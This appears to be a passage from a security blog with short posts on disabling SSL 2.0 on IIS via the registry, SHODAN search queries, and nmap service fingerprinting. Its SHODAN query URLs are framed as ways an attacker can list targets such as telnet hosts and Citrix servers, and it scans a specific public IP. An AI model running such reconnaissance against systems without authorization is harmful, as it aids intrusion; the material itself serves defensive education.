|       SSL2_RC2_CBC_128_CBC_WITH_MD5
|       SSL2_RC4_128_WITH_MD5
|       SSL2_RC4_64_WITH_MD5
|       SSL2_DES_64_CBC_WITH_MD5
|_      SSL2_RC4_128_EXPORT40_WITH_MD5

How to fix a vulnerable IIS server:

Open regedit and navigate to:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Server

Change the "Enabled" value to dword 00000000
"Enabled"=dword:00000000

Reboot the server and run nmap again to verify the vulnerability has been closed.

Security awareness training

Security awareness training is one of the least expensive and most effective ways of protecting your organizations assets. I came across this site which has some useful games, videos and quizzes suitable for a general user population. Enjoy.

http://www.onguardonline.gov/

SHODAN - Banner grabbing search engine

I recently discovered a new search engine which has some interesting capabilities, from the site..

SHODAN lets you find servers/ routers/ etc. by using the simple search bar up above. Most of the data in the index covers web servers at the moment, but there is some data on FTP, Telnet and SSH services as well. Let me know which services interest you the most and I'll prioritize them in my scanning.

What makes this interesting (and somewhat controversial)  is SHODAN (Sentient Hyper-Optimized Data Access Network) has done the leg work and initial scanning for those wishing to break into (or secure) systems.

If a new exploit is released which targets a vulnerability in a specific version of Apache, lets say, why bother scaning for vulnerable web servers when someone else has done it for you? Add filtering by country / domain / keyword and an attacker can build a nice set of targets without ever sending a packet to any of them.

Here are a few SHODAN queries to demonstrate

IIS servers running default page: 

http://shodan.surtri.com/?q=port%3A80+iisstart.htm  

Cisco devices listening on port 80: 

http://shodan.surtri.com/?q=port%3A80+%22Cisco%22 

IP's in the US with telnet open: 

http://shodan.surtri.com/?q=country%3Aus+port%3A23 

Citrix servers in Brazil on port 80
http://shodan.surtri.com/?q=citrix%20country:BR%20port:80 

Using Nmap to fingerprint network applications

nmap is one of my favorite network tools. It's versatile and powerful and lots of fun to use. Nmap scan types are denoted by -s*. -sS is a syn stealth or half-open scan and -sT is a TCP connect scan which uses the full TCP three way handshake. One of the most useful scan types is -sV, which "fingerprints" the open ports nmap discovers. By fingerprinting the port, nmap can often determine exactly what application or service is listening behind it.

To illustrate, take the example below. This is an internet host that appears to be listening on port 443 which is commonly used for https.

nmap -sS 66.57.111.10

PORT     STATE SERVICE
443/tcp  open  https

If we change the scan type to -sV and add -p443 we can fingerprint the listening port.

nmap -sV -p443 66.57.111.10

PORT    STATE SERVICE VERSION
443/tcp open  ssh     WeOnlyDo sshd 2.1.3 (protocol 2.0)

Very interesting, -sV shows us that its actually an SSH server listening on the port and also tells us the specific version of the software.